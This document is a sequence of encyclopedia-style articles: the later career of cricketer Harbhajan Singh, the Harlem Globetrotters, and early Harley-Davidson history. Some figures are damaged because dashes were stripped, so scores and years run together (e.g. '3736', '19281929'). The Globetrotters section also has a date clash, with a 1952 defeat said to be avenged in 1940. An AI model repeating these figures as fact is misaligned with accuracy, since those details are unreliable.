          He put on another strong personal performance in the first ODI of the following series against South Africa in Hyderabad, where he struck an aggressive unbeaten 37 from 17 balls, including two sixes, to help India recover to 249/9, before taking 1/35 from his 10 overs. He was unable to prevent an Indian loss, and was fined after pointing Ashwell Prince to the pavilion after dismissing him. Harbhajan ended the series with five wickets at 27.4, and was again India's most economical bowler.


          2005 ended with a three Test series against Sri Lanka. After the first match in Chennai was washed out due to rain, Harbhajan took match figures of 4/137 in as India took a 1-0 series lead. He finished the calendar year with a man of the match performance in Ahmedabad, which saw India seal a 2-0 series victory with a 259 run victory. He took 7/62 in the first innings, including six of Sri Lanka's top eight batsmen. A middle-order batting collapse, with 6 wickets falling for 82 runs, allowed India to take a 193-run first innings lead. Harbhajan later contributed an aggressive innings of 40 not out from 51 balls, in an unbroken 49 run final-wicket partnership with Kumble in the second innings, their display of unorthodox hitting stretching India's lead to 508 runs . His prospects of a half century were cut short by a declaration from acting captain Virender Sehwag, but he was compensated with opening the bowling, as Sehwag employed a novel tactic of assigning the new ball to a spinner. He took 3/79 to finish with match figures of 10/141, ending the year on a high note after he had been embroiled in the leadership struggle only three months earlier.


          


          Test decline


          2006 began with Harbhajan's first tour to arch-rivals Pakistan. The First Test was a high scoring draw held in Lahore, where Harbhajan recorded his worst ever Test figures of 0/176 in a match where 1,089 runs were scored for loss of just eight wickets. In a match in which many batting records fell, Harbhajan was hit for 27 runs in one over by Shahid Afridi, just one short of the world record. The second Test in Faisalabad was another high scoring draw, with the aggregate runs being the fourth highest in Test history. Harbhajan took 0/101 and 0/78. His 81 overs in the series were the fourth highest amount of overs in any Test series without taking a wicket. When he was given the opportunity to make use of the batting surface, he managed a brisk 38, including two sixes. Harbhajan was dropped for the Third Test in Karachi, where a green pitch promised to favour seam bowling, and Kumble was the only spinner used. After sustaining an injury, Harbhajan was sent home during the subsequent ODI series without playing a match, ending his tour without taking a wicket.


          A return to Indian soil for the Test series against England failed to ease Harbhajan's wicket-taking difficulties. He managed match figures of 2/172 in the drawn First Test in Nagpur, and 1/83 in the Second Test in Mohali, where his main contribution was to hit 36 runs, helping India to a first innings lead. Despite taking 3/89 and 2/40 in the Third Test in Mumbai, Harbhajan ended the series with eight wickets at an average of 48, nearly twice his career average on Indian soil. Despite his difficulties in Test cricket, Harbhajan's ODI form remained strong, as he top-scored with 37 and then took 5/31 in a man of the match performance in the first ODI against England in Delhi, sparking a collapse of 7/47 which secured a 39-run victory. He ended the series with 12 wickets at 15.58, and topped the wicket-taking list, as well as having the best bowling average and economy rate.


          Harbhajan was unable to maintain his ODI form on the tour to the West Indies, where he managed three wickets at 64 in five matches. He was omitted from the Test team for opening two Tests as India opted to use three pace bowlers and Anil Kumble, scrapping the five bowler strategy used since early 2006. The reasons were unclear, with performance, fatigue and injury variously offered as explanations. Harbhajan was recalled for the Third Test in St Kitts after the pace attack was unable to dismiss the West Indian batsmen, with West Indies captain Brian Lara stating that his team would have been lucky to draw the Second Test had Harbhajan been playing. In a drawn match, Harbhajan claimed the leading match figures of 6/186, as well as contributing an unbeaten 38. Harbhajan's 5/13 in the first innings in the Fourth Test saw the hosts lose their last six wickets for 23, to give India a 97 run first innings lead. India went on secure a victory in a low scoring match in three days and win the series 1-0. It was India's first series victory in the Caribbean in 35 years, with Harbhajan contributing 11 wickets at 24.


          The 2006/07 season began with the DLF Cup in Malaysia, where Harbhajan made a good start to the season, taking six wickets at 17.5 in four matches. He was man of the match against the West Indies, scoring 37 in a 78-run partnership to push India to 162, before taking 3/35 to secure a 16-run victory. He was unable to maintain his form in the 2006 ICC Champions Trophy held in India, managing only two wickets at 51.5 and saving his worst performance of 0/49 in the final group match against Australia on his home ground in Punjab. The tour of South Africa in late 2006 saw even less success, taking only one wicket in three ODI matches while conceding 161 runs. He finished the year watching from the sidelines as India fielded Kumble as the only spinner in the three Test series. Apart from the injury hit 2003, it was Harbhajan's least productive year in Test cricket since he became a regular team member in 2001, managing only 19 wickets at 52.78.


          Harbhajan returned for the early 2007 ODI series against the West Indies and Sri Lanka in India, taking seven wickets at 35.87 in seven matches. Despite criticism that he was afraid to toss the ball up, and was concentrating on bowling flat in a defensive run-saving style, Harbhajan was selected as the off spin bowler in the Indian squad for the 2007 Cricket World Cup, while Ramesh Powar, who had been more expensive but had taken more wickets recently was omitted. A statistical study showed that since the start of 2006, Harbhajan has been the second most economical bowler in the final 10 overs of ODIs.


          


          Playing style


          Harbhajan is an attacking-minded bowler who exercises great command over the ball, has the ability to vary his length and pace, although he is often criticised for his flat trajectory. His main wicket-taking ball climbs wickedly on the unsuspecting batsman from a good length, forcing him to alter his stroke at the last second. With a whippy bowling action, he was reported for throwing in November 1998. He was forced to travel to England for tests, but his action was cleared by former English player Fred Titmus.


          He has developed an ability to bowl the doosra, which was the subject of an official report by match referee Chris Broad, on-field umpires Aleem Dar and Mark Benson, and TV umpire Mahbubur Rahman after the Second Test between India and Bangladesh at Chittagong, Bangladesh in December 2004. The ICC cleared his action in May 2005, saying that the straightening of his elbow fell within the permitted limits.
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          Harbhajan averages 25 with the ball in home Test matches. All five of his man of the match awards and both of his man of the series awards have been obtained in India. His bowling average climbs to 40 outside India. Statistically, his bowling is most effective against the West Indies and Australia. His most productive hunting grounds has been Eden Gardens in Calcutta, where he has taken 33 wickets at 20.87 in five Tests, while the Chepauk in Chennai, where he has claimed two man of the match awards, has yield 27 wickets at 21.62 in four Tests. Harbhajan has claimed his wickets most cheaply at Wankhede Stadium in Mumbai, where he has taken 22 wickets at 19.45. Harbhajan tends to bowl outside off-stump more than Muttiah Muralitharan, who attacks the stumps; he captures 66% of his wickets via catches and only 22% by bowling or trapping batsmen LBW, whereas the corresponding figures for Muralitharan are 48% and 41%. Harbhajan's off spin complements Kumble's leg spin. While Harbhajan is known for his emotional and extroverted celebrations, which are part of a deliberate strategy of aggression, Kumble is known for his undemonstrative and composed approach. Both spinners have opined that they bowl more effectively in tandem via persistent application of pressure to batsmen, but statistics have shown that while Kumble has performed better when paired with Harbhajan, Harbhajan has been more effective in Kumble's absence.


          In an interview in 2001, Harbhajan stated his ambition to become an all-rounder. Although he has recorded a few good batting scores, his batting average is less than 15 in both Tests and ODIs. However, in the span of four years starting from 2003, he has shown improved performance, averaging around 20 with the bat. His style is frequently described as being unorthodox, with pundits agreeing with his self-assessment attributing his batting achievements to his hand-eye coordination, rather than his footwork or technique. The aggression in Harbhajan's bowling also extends to his batting, with a Test strike rate of 67.95, which is surpassed by only six players who have scored more than 1000 runs in Test cricket.


          


          Racial abuse charges


          Harbhajan received a ban of three Test matches after a Level 3 charge of racially abusing Australian cricketer Andrew Symonds calling him a "big monkey" whilst he was batting during the third day of the Second Test at the Sydney Cricket Ground, was upheld by the match referee Mike Procter. This decision generated controversy since no audio or video evidence was used, instead relying on the testimony of Australian players. The BCCI filed an appeal against the decision on behalf of Harbhajan. The Indian team had initially threatened to withdraw from the series pending an appeal against Harbhajan's suspension, however later the BCCI president Sharad Pawar confirmed that, the tour would not be canceled even if Harbhajan's appeal did not go favourably. It was claimed that Harbhajan called Symonds a "monkey", a charge that Harbhajan and his batting partner at the time of the incident, Sachin Tendulkar, have denied.


          On 2008- 01-29, the appeal hearing was conducted in Adelaide by ICC Appeals Commissioner Justice John Hansen. After the hearing of the appeal, the racism charge on Harbhajan Singh was not proved and therefore cleared and three Test ban imposed on him by the match referee Mike Procter was lifted. However, lesser charge (Level 2.8 offense) of using abusive language was applied and Harbhajan was fined 50% of his match fee. Hansen later admitted he "could have imposed a more serious penalty if he was made aware by the ICC of the bowler's previous transgressions" - including a suspended 1 Test Match ban. Also it was reported that senior players had written a letter to John Hansen requesting a downgrading of the charge. The letter was signed by Sachin Tendulkar and Ricky Ponting and counter-signed by Michael Clarke, Matthew Hayden and Andrew Symonds.


          In an aftermath to the above incident, Matthew Hayden called Harbhajan an "obnoxious weed" during an interview he gave to Brisbane radio station. Hayden received a code of conduct violation charge from Cricket Australia for this act. Hayden was reprimanded for his comment by Cricket Australia, but maintained his innocence.


          


          Awards


          


          Test Cricket


          


          Man of the Series awards


          
            	
              
                
                  	#

                  	Series

                  	Season

                  	Series Performance
                


                
                  	1

                  	Australia in India Test Series

                  	2000/01

                  	34 Runs (3 Matches, 6 Innings); 178.3-44-545-32 (2x10 WM; 4x5 WI)
                


                
                  	2

                  	West Indies in India Test Series

                  	2002/03

                  	69 Runs (3 Matches, 4 Innings); 166-54-335-20 (2x5 WI); 5 Catches
                

              

            

          


          


          Man of the Match awards


          
            	
              
                
                  	S No

                  	Opponent

                  	Venue

                  	Season

                  	Match Performance
                


                
                  	1

                  	Australia

                  	Chepauk, Chennai

                  	2000/01

                  	1st Innings: 2 Runs; 38.2-6-133-7

                  2nd Innings: 3* Runs; 41.5-20-84-8

                  10+ Wicket Match
                


                
                  	2

                  	Zimbabwe

                  	Feroz Shah Kotla, New Delhi

                  	2001/02

                  	1st Innings: 9 Runs (2x4); 27.5-5-70-2

                  2nd Innings: 14 Runs (2x4, 1x6); 31-5-62-6; 2 Catches

                


                
                  	3

                  	West Indies

                  	Chepauk, Chennai

                  	2002/03

                  	1st Innings: 37 Runs (5x4, 1x6); 29-13-56-3

                  2nd Innings 30-6-79-4; 1 Catch

                


                
                  	4

                  	South Africa

                  	Kolkata

                  	2004/05

                  	1st Innings: 14 Runs (2x4); 21.3-6-54-2; 1 Catch

                  2nd Innings: 30-3-87-7; 1 Catch
                


                
                  	5

                  	Sri Lanka

                  	Motera, Ahmedabad

                  	2005/06

                  	1st Innings: 8* Runs (1x4); 22.2-3-62-7; 1 Catch

                  2nd Innings: 40 Runs (4x6; 1x6); 31-7-79-3

                  10+ Wicket Match
                

              

            

          


          


          ODI Cricket


          


          Man of the match awards


          
            	
              
                
                  	S No

                  	Opponent

                  	Venue

                  	Season

                  	Match Performance
                


                
                  	1

                  	South Africa

                  	Centurion

                  	2001/02

                  	15 (14b, 2x4); 10-0-27-3
                


                
                  	2

                  	England

                  	New Delhi

                  	2005/06

                  	37 (46b, 3x4, 1x6); 10-2-31-5
                


                
                  	3

                  	West Indies

                  	Kinrara, Kuala Lumpur

                  	2006/07

                  	37 (60b, 1x4, 2x6); 8-0-35-3; 1 Catch
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              	Leagues

              	Independent
            


            
              	Founded

              	1926
            


            
              	History

              	New York HarlemGlobetrotters

              19281929

              Harlem Globetrotters

              1929present
            


            
              	Arena

              	Barnstorming team
            


            
              	Location

              	Harlem, New York City
            


            
              	Team colors

              	Red, White, & Blue
            


            
              	President

              	Nickolas Cardinale (GM)
            


            
              	Head coach

              	Clyde Sinclair (Coach)

              Mike St Julien (Coach)

              Barry Hardy (Coach)

              Tex Harrison (Consultant)
            


            
              	Championships

              	
            


            
              	Website

              	
                
                  Official website
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          The Harlem Globetrotters is an exhibition basketball team that combines athleticism and comedy.


          Created by Abe Saperstein in 1926 in Chicago, Illinois, the team adopted the name Harlem because of its connotations as a major African-American community. Over the years they have played more than 20,000 exhibition games in 118 countries.


          Brother Bones's whistled version of " Sweet Georgia Brown" is the team's signature song. Globie has been their mascot since 1993.


          


          Early history


          There is no clear consensus as to the very beginnings of the Globetrotters. The official history contains several details which are clearly untrue, such as the team being organized in 1926 in the Savoy Ballroom, which opened in 1927. What is clear is that the genesis of the Globetrotters takes place in the South Side of Chicago in the 1920s, where all the original players grew up. Most of the players also attended Wendell Phillips High School. When the Savoy Ballroom opened in November of 1927, one of the premier attractions was the Savoy Big Five, a basketball team that played exhibitions before dances. In 1928, several players left the team in a dispute over bringing back other players who had left the team. That fall, several players led by Tommy Brookins formed a team called the "Globe Trotters" which would tour southern Illinois that spring. Abe Saperstein became involved with the team, though to exactly what extent is unclear. In any event, by 1929 Saperstein was touring Illinois and Iowa with his basketball team, called the "New York Harlem Globe Trotters". Saperstein decided to pick Harlem as their home city since Harlem was considered the centre of African-American culture at the time, and an out of town team name would give the team more of a mystique. After four decades of existence, the Globetrotters played their first "home" game in Harlem in 1968.


          The first star player of those early Globe Trotters (the name would be merged into one word later on) was Albert "Runt" Pullins, an adept dribbler and shooter. Soon he would be joined by 7'4" Inman Jackson, who played centre and had a flair for showboating. They would originate the two roles that would stay with the 'trotters for decades, the showman and the dribbler.


          The Globetrotters were initially a serious competitive team, and despite a flair for entertainment, they would only clown for the audience after establishing a safe lead in the game. In 1952, they accepted an invitation to participate in the World Professional Basketball Tournament, where they met the New York Rens in the semi-finals in the first big clash of the two greatest all-black professional basketball teams. The Rens defeated the Globetrotters and went on to win the Tournament, but in 1940 the Globetrotters avenged their loss by defeating the Rens in the quarterfinals and advancing to the championship game, where they beat the Chicago Bruins in overtime by a score of 3736.


          The Globetrotters beat the premier professional team, the Minneapolis Lakers (led by George Mikan), for two years in a row in 1948 and 1949, with the Lakers winning later contests. The February 1948 win (by a score of 61-59, on a buzzer beater) was a hallmark in professional basketball history, as the all-black Globetrotters proved they were on an equal footing with the all-white Lakers. Momentum for ending the National Basketball Association's colour line grew, and in 1950, Chuck Cooper became the first black player drafted by an NBA team. From that time on the Globetrotters had increasing difficulty attracting and retaining top talent.


          Tony Peyton was the last living member of the original Globetrotters. He was inducted into the Basketball Hall of Fame in Springfield, Massachusetts, in 1996. He died in Midland, Texas, on July 23, 2007, at the age of eighty-five.


          


          Finding success
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              Globetrotters player Meadowlark Lemon presenting a ball signed by the team to First Lady Betty Ford in 1974.
            

          


          The Globetrotters gradually worked comic routines into their act until they became known more for entertainment than sports. The Globetrotters' acts often feature incredible coordination and skillful handling of one or more basketballs, such as passing or juggling balls between players, balancing or spinning balls on their fingertips, and making unusual, difficult shots.


          Among the players who have been Globetrotters are NBA greats Wilt "The Stilt" Chamberlain, Connie "The Hawk" Hawkins and Nat "Sweetwater" Clifton, as well as Marques Haynes, George "Meadowlark" Lemon, Jerome James, former Temple coach John Chaney, and Reece "Goose" Tatum. Another popular team member in the 1970s and 1980s was Fred "Curly" Neal who was the best dribbler of that era of the team's history and was immediately recognizable due to his shaven head. Baseball Hall of Famers Bob Gibson, Ferguson Jenkins and Lou Brock also played for the team at one time or another. In 1985, the Globetrotters signed their first female player, Olympic gold medalist Lynette Woodard, and their second, Joyce Walker, just three weeks later.


          Because virtually all of its players have been African American, and because of the buffoonery involved in many of the Globetrotters' skits, they drew some criticism in the Civil Rights era. The players were derisively accused of "Tomming for Abe", a reference to Uncle Tom and white owner Abe Saperstein. However, prominent civil rights activist Jesse Jackson came to their defense by stating, "I think they've been a positive influence... They did not show blacks as stupid. On the contrary, they were shown as superior."


          


          Winning streaks and rare defeats
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              Globetrotters playing with spectators
            

          


          After losing to the Washington Generals in 1962, the Harlem Globetrotters only lost two more games in the next 38 years (12,596 games). Usually they played a "stooge" team owned by Red Klotz, which also appeared as the Boston Shamrocks, New Jersey Reds, Baltimore Rockets, or the Atlantic City Seagulls. On January 5, 1971 they lost in Martin, Tennessee in overtime to the New Jersey Reds; the 100-99 score ended an alleged 2,495-game winning streak (which meant that the Globetrotters were playing 277 games per year up until that date).


          In addition to their hundreds of exhibition games, the Globetrotters have faced some competitive action since the mid-1990s. On September 12, 1995, they lost 9185 to Kareem Abdul-Jabbar's All Star Team in Vienna, Austria ending an alleged run of 8,829 straight victories in going back to 1971 (though 8,829 games in twenty-four years would mean the Globetrotters were playing nearly 368 games per yearor more than one game a day some days, for twenty four years). The 48-year-old Abdul-Jabbar scored 34 points. The Globetrotters won the other 10 games during that European tour.


          They also immediately went on another winning streak of 1,270 before losing 7268 to the Michigan State University Spartans on November 13, 2000.


          On Saturday November 15, 2003, the UTEP Miners beat the Harlem Globetrotters 89-88 ending their 288 game win streak.


          On February 27, 2006, the Globetrotters extended their overall record to exactly 22,000 wins. Their most recent loss came on March 31, 2006 when they went down 8783 to the NABC College All-Stars to bring their loss tally to just 345still a winning percentage of 98.4%.


          The Globetrotters claim all their exhibition games are "real, competitive" contests.


          


          Harlem Globetrotters in films and television


          The Harlem Globetrotters have featured in several of their own films and television series over the years;


          
            	The Harlem Globetrotters, a 1951 feature film starring Whitney Rumsey and other Globetrotters, also featuring Thomas Gomez, Dorothy Dandridge, Bill Walker, and Angela Clarke. Young Bill Townsend drops out of college to join the famous independent Trotter team. He also finds romance along the way. "Goose" Tatum and fancy dribbler Haynes were the star players of the Globetrotters at the time and Saperstein was the owner. Tatum, Haynes, Babe Presley, Ermer Robinson, Duke Cumberland, Clarence Wilson, Pop Gates, Frank Washington, Ted Strong and other current team members appear in the film as themselves. Also featured is a lot of actual game footage (three times against the Celtics with Tony Lavelli and Big Bob Hahn), including their famous "Sweet Georgia Brown" warm-up routine. (Along with making the film, the team toured Major League Baseball stadiums that year and went on their first tour of South America).


            	Go, Man, Go, a 1954 sequel, starring Dane Clark as Abe Saperstein and Sidney Poitier as Inman Jackson.

          


          
            	Harlem Globetrotters, a Hanna-Barbera Saturday morning cartoon, broadcast from September 12, 1970 to May 1973. Originally broadcast on CBS, and later re-run on NBC as The Go-Go Globetrotters.

          


          
            	The Harlem Globetrotters appeared in the 2000 film Little Nicky.

          


          
            	Coach Reeves of the TV series The White Shadow persuades the Harlem Globetrotters to prevent his team's winning streak from going to their heads. This is one of the few TV appearances of the Globetrotters where they outscored their opponents in the first half, as the game was mostly a life lesson and not a contest. The Globetrotters would return in a later lesson when one player, overwhelmed by failing his classes, considers dropping out of school and trying out for the Globetrotters, who agree with Coach Reeves that this player cannot throw in the towel on his schoolwork and should finish his education before playing professional basketball.

          


          
            	The Harlem Globetrotters Popcorn Machine, a 1974 live-action Saturday morning variety show starring the Globetrotters which featured comedy skits, blackout gags, and educational segments. The show was produced by Funhouse Productions and Yongestreet Productions for CBS.

          


          
            	The Super Globetrotters, a second animated series created by Hanna-Barbera for NBC in 1979. It featured the Globetrotters (now including new squad members James "Twiggy" Sanders, Nate Branch and Louis "Sweet Lou" Dunbar) as undercover superheroes, who would transform from their regular forms by entering magic portable lockers carried in "Sweet Lou" Dunbar's Afro, or in a basketball-shaped medallion. Although the Super Globetrotters would first attempt to take on the villain with standard comical heroics, things would almost always be settled with a basketball game.

          


          
            	The Harlem Globetrotters on Gilligan's Island, a 1981 made-for-TV film featured the Globetrotters alongside Bob Denver and the rest of the cast of Gilligan's Island. The film's plot follows the first animated series' formula to a degree with a conflict that ends with an unusual basketball game against an opposing team made up of robots. The Globetrotters decide to play with standard moves in the first half, which the robots are able to counter, until Gilligan unwittingly comments that they have not done any fancy tricks, which make the Professor advise the team to use their comedic style of play to win, which hopelessly confuses the machines. However, a couple of Globetrotters suffer injuries, and Gilligan and the Skipper have to be substitute players.

          


          
            	Harlem Globetrotters: The Team that Changed the World, a 2005 documentary featuring interviews with the Globetrotters, NBA coaches and fans such as Bill Cosby, Samuel L. Jackson, Phil Jackson and Henry Kissingerhimself an honorary Globetrotterand including photos of the Globetrotters with Pope John Paul II.

          


          


          Other appearances


          Former Globetrotter Mel Davis was the subject of the short documentary Hardwood, directed by his son, Hubert Davis. This film was nominated for an Academy Award for Documentary Short Subject in 2006.


          A contestant on the April 6, 2007, episode of the NBC game show Identity correctly identified "Stranger" #12 as being Eugene Edgerson.


          The Harlem Globetrotters have made multiple appearances on the animated show Futurama. These episodes feature fictional Globetrotters like Ethan "Bubblegum" Tate (played by Phil LaMarr). In the 31st century, it seems that the Globetrotters have a planet all their own, and in the episode " Time Keeps on Slippin'", the Globetrotter Homeworld challenges Earth to a basketball game (for absolutely no stakes beyond the shame of defeat). At one point in the episode, "Bubblegum" declares everyone in Farnsworth's Smell-o-scope room (the Professor, Amy, Zoidberg, and Hermes) an honorary Globetrotter. The Globetrotters appear again in Bender's Big Score, where they assist Professor Farnsworth in figuring out the mechanics of Paradox-free Time Travel. The globetrotter known as "Curley Joe" is a parody of Curly Neal


          An episode of All in the Family had Lionel Jefferson agreeing with Archie Bunker that racial quotas and affirmative action are not a good idea and making a comment "because 88% of Americans are White, what if there was a law saying the Harlem Globetrotters were forced to have 88% of their team have White players?"


          A 1991 episode of Saturday Night Live spoofed desegregation of sports with "The First Black Harlem Globetrotter". Michael Jordan plays a fictional player called "Sweet River Banes", who is supposedly the first black member of the Globetrotters in the 1920s.


          The Harlem Globetrotters appeared briefly in the Simpsons episode entitled " Homie the Clown" in which Krusty the Clown foolishly bets all his profits from opening a clown college against the Globetrotters stating that he "thought the Generals were due."


          The Harlem Globetrotters have also appeared in a special Scooby Doo episode called "Scooby Doo meets the Harlem Globetrotters".


          The Globetrotters appeared in a commercial urging charitable support for the Disabled American Veterans where they are shooting baskets with disabled veterans who are playing wheelchair basketball.


          


          Retired numbers


          The Globetrotters have retired five numbers to date:


          
            	13: Wilt Chamberlain; March 9, 2000


            	20: Marques Haynes; January 5, 2001


            	22: Curly Neal; February 15, 2008


            	36: Meadowlark Lemon; January 5, 2001


            	50: Reece Tatum; February 8, 2002

          


          


          Honorary Harlem Globetrotters


          These eight people have been officially named as honorary members by the team:


          
            	Henry Kissinger (1976)


            	Bob Hope (1977)


            	Kareem Abdul-Jabbar (1989)


            	Whoopi Goldberg (1990)


            	Nelson Mandela (1996)


            	Jackie Joyner-Kersee (1999)


            	Pope John Paul II (2000)


            	Jesse Jackson (2001)

          


          In addition, Bill Cosby (in 1972) and Magic Johnson (in 2003) have been signed to $1-a-year lifetime contracts with the Globetrotters. Cosby's was increased to $1.05 in 1986.
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              	Harley-Davidson Motor Company
            


            
              	[image: ]
            


            
              	Type

              	Public ( NYSE: HOG)
            


            
              	Founded

              	1903
            


            
              	Founder

              	William S. Harley

              Arthur Davidson

              Walter Davidson

              William A. Davidson
            


            
              	Headquarters

              	[image: Flag of the United States] Milwaukee, Wisconsin, USA
            


            
              	Keypeople

              	James L. Ziemer (CEO)

              Thomas E. Bergmann (CFO)

              James A. McCaslin (div. President & div. COO)

              Sy Naqvi (President, Harley-Davidson Financial Services)
            


            
              	Industry

              	Recreational vehicles
            


            
              	Products

              	Motorcycles
            


            
              	Revenue

              	▲ 8.8 billion (USD) (2008)
            


            
              	Employees

              	9,700 (2006)
            


            
              	Subsidiaries

              	Buell
            


            
              	Website

              	www.harley-davidson.com
            

          


          Harley-Davidson Motor Company ( NYSE: HOG, formerly HDI) is an American manufacturer of motorcycles based in Milwaukee, Wisconsin. The company sells heavyweight (over 750 cc) motorcycles designed for cruising on the highway. Harley-Davidson motorcycles (popularly known as "Harleys") have a distinctive design and exhaust note. They are especially noted for the tradition of heavy customization that gave rise to the chopper-style of motorcycle.


          Harley-Davidson attracts a loyal brand community, with licensing of the Harley-Davidson logo accounting for almost 5% of the company's net revenue ($41 million in 2004). In 2003, the Buell Motorcycle Company became a wholly-owned subsidiary of Harley-Davidson, the same year that the Motor Company celebrated its 100th birthday. The Motor Company supplies many American police forces with their motorcycle fleets.


          


          History


          


          The beginning


          In 1901, William S. Harley, age 21, drew up plans for a small engine that displaced 7.07 cubic inches (116 cc) and had four-inch (102 mm) flywheels. The engine was designed for use in a regular pedal-bicycle frame.


          Over the next two years Harley and his boyhood friend Arthur Davidson labored on their motor-bicycle using the northside machine shop at the home of their friend, Henry Melk. It was finished in 1903 with the help of Arthur's brother, Walter Davidson. Upon completion the boys found their power-cycle unable to conquer Milwaukee's modest hills without pedal assistance. Will Harley and the Davidsons quickly wrote off their first motor-bicycle as a valuable learning experiment.


          Work was immediately begun on a new and improved second-generation machine. This first "real" Harley-Davidson motorcycle had a bigger engine of 24.74 cubic inches (405 cc) with 9-3/4 inch flywheels weighing 28 pounds. The machine's advanced loop-frame pattern was similar to the 1903 Milwaukee Merkel motorcycle (designed by Joseph Merkel, later of Flying Merkel fame.) The bigger engine and loop-frame design took it out of the motorized-bicycle category and would help define what a modern motorcycle should contain in the years to come. The boys also received help with their bigger engine from outboard motor pioneer Ole Evinrude, who was then building gas engines of his own design for automotive use on Milwaukee's Lake Street.


          The prototype of the new loop-frame Harley-Davidson was assembled in a 10- by 15-foot (3 by 5 meter) shed in the Davidson family backyard. Most of the major parts, however, were made elsewhere, including some probably fabricated at the West Milwaukee railshops where oldest brother William A. Davidson was then toolroom foreman. This prototype machine was functional by 8 September 1904 when it competed in a Milwaukee motorcycle race held at State Fair Park. It was ridden by Edward Hildebrand and placed fourth. This is the first documented appearance of a Harley-Davidson motorcycle in the historical record.


          In January 1905, small advertisements were placed in the "Automobile and Cycle Trade Journal" that offered bare Harley-Davidson engines to the do-it-yourself trade. By April, complete motorcycles were in production on a very limited basis. That year the first Harley-Davidson dealer, Carl H. Lang of Chicago, sold three bikes from the dozen or so built in the Davidson backyard shed. (Some years later the original shed was taken to the Juneau Avenue factory where it would stand for many decades as a tribute to the Motor Company's humble origins. Unfortunately, the first shed was accidentally destroyed by contractors in the early 1970s during a clean-up of the factory yard.)


          In 1906, Harley and the Davidsons built their first factory on Chestnut Street (later Juneau Avenue). This location remains the Motor Company's corporate headquarters today. The first Juneau Avenue plant was a 40 by 60-foot (18m) single-story wooden structure. That year around 50 motorcycles were produced.


          
            [image: 1907 model.]

            
              1907 model.
            

          


          In 1907, William S. Harley graduated from the University of Wisconsin-Madison with a degree in mechanical engineering. That year additional factory expansion came with a second floor and later with facings and additions of Milwaukee pale yellow ("cream") brick. With the new facilities production increased to 150 motorcycles in 1907. The company was officially incorporated that September. They also began selling their motorcycles to police departments around this time, a market that has been important to them ever since.


          Production in 1905 and 1906 were all single-cylinder models with 26.84 cubic inch (440 cc) engines. In February 1907 a prototype model with a 45-degree V-Twin engine was displayed at the Chicago Automobile Show. Although shown and advertised, very few V-Twin models were built between 1907 and 1910. These first V-Twins displaced 53.68 cubic inches (880 cc) and produced about 7 horsepower (5 kW). This gave about double the power of the first singles. Top speed was about 60 mph (97 km/h). Production jumped from 450 motorcycles in 1908 to 1,149 machines in 1909.


          By 1911 some 150 makes of motorcycles had already been built in the United States -- although just a handful would survive the 1910s.


          In 1911, an improved V-Twin model was introduced. The new engine had mechanically operated intake valves, as opposed to the "automatic" intake valves used on earlier V-Twins that opened by engine vacuum. Displacing 49.48 cubic inches (810 cc), the 1911 V-Twin was smaller than earlier twins, but gave better performance. After 1913 the majority of bikes produced by Harley-Davidson would be V-Twin models.


          By 1913, the yellow brick factory had been demolished and on the site a new 5-story structure of reinforced concrete and red brick had been built. Begun in 1910, the red brick factory with its many additions would take up two blocks along Juneau Avenue and around the corner on 38th Street. Despite the competition, Harley-Davidson was already pulling ahead of Indian and would dominate motorcycle racing after 1914. Production that year swelled to 16,284 machines.
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              Ralph Hepburn on his Harley racing bike in this 1919 photo.
            

          


          


          World War I


          In 1917, the United States entered World War I and the military demanded motorcycles for the war effort. Harleys had already been used by the military in border skirmishes with Pancho Villa but World War I was the first time the motorcycle had been adopted for combat service. Harley-Davidson provided over 20,000 machines to the military forces during World War I.


          


          The 1920s


          By 1920, Harley-Davidson was the largest motorcycle manufacturer in the world. Their motorcycles were sold by dealers in 67 countries. Production was 28,189 machines.


          In 1921, a Harley-Davidson, ridden by Otto Walker, was the first motorcycle ever to win a race at an average speed of over 100 mph (160 km/h).


          During the 1920s, several improvements were put in place, such as a new 74 cubic inch (1200cc) V-Twin, introduced in 1922, and the "Teardrop" gas tank in 1925. A front brake was added in 1928.


          In the late summer of 1929, Harley-Davidson introduced its 45 cubic inch flathead V-Twin to compete with the Indian 101 Scout and the Excelsior Super X.


          


          The Depression
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              Harley-Davidson WL
            

          


          The Great Depression began a few months after the introduction of their 45 cubic inch model. Harley-Davidson's sales plummeted from 21,000 in 1929 to less than 4,000 in 1933. In order to survive, the company manufactured industrial powerplants based on their motorcycle engines. They also designed and built a three-wheeled delivery vehicle called the Servi-Car, which remained in production until 1973.


          In the mid-'30s, Alfred Rich Child opened a production line in Japan with the 74ci VL, which became Rikuo after the parent company severed its business relations with Harley-Davidson.


          An 80 cubic inch flathead engine was added to the line in 1935, by which time the single cylinder motorcycles had been discontinued.


          By 1937, all the flathead engines were equipped with the dry-sump oil recirculation system that had been introduced with the 61E and 61EL "Knucklehead" OHV models. This caused the 74 cubic inch V and VL models to be renamed U and UL, the 80 cubic inch VH and VLH to be renamed UL and ULH, and the 45 cubic inch RL to be renamed WL.


          In 1941, the 74 cubic inch "Knucklehead" was introduced as the F and the FL, replacing the 80 cubic inch flathead UH and ULH models.


          


          World War II
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          One of only two American cycle manufacturers to survive the Great Depression, Harley-Davidson again produced large numbers of motorcycles for the US Army in World War II and resumed civilian production afterwards, producing a range of large V-twin motorcycles that were successful both on racetracks and for private buyers.


          Harley-Davidson, on the eve World War II, was already supplying the Army with a military-specific version of its 45" WL line, called the WLA. (The A in this case stood for "Army".) Upon the outbreak of war, the company, along with other manufacturing enterprises, shifted to war work. Over 90,000 military motorcycles, mostly WLAs and WLCs (the Canadian version) would be produced, many to be provided to allies.
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          Shipments to the Soviet Union under the Lend-Lease program numbered at least 30,000. The WLAs produced during all years of war production would, unusually, have 1942 serial numbers. Production of the WLA stopped at the end of the war, though it would resume production from 1949 to 1952 due to the Korean War.


          The U.S. Army also asked Harley-Davidson to produce a new motorcycle with many of the features of BMW's side-valve and shaft-driven R71. Harley largely copied the BMW engine and drive train and produced the shaft-driven 750 cc 1942 Harley-Davidson XA. Due to the superior cooling of an opposed twin, Harley's XA cylinder heads ran 100 F (55 C) cooler than its V-twins. The XA never entered full production: the motorcycle by that time had been eclipsed by the Jeep as the Army's general purpose vehicle, and the WLAalready in productionwas sufficient for its limited police, escort, and courier roles. Only 1,000 were made and the XA never went into full production. It remains the only shaft-driven Harley-Davidson ever made.


          


          Small Harleys - Hummers and Aermacchis
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          As part of war reparations, Harley-Davidson acquired the design of a small German motorcycle, the DKW RT125 which they adapted, manufactured, and sold from 1947 to 1966. Various models were made, including the Hummer from 1955 to 1959, but they are all colloquially referred to as "Hummers" at present. BSA in the United Kingdom took the same design as the foundation of their BSA Bantam.


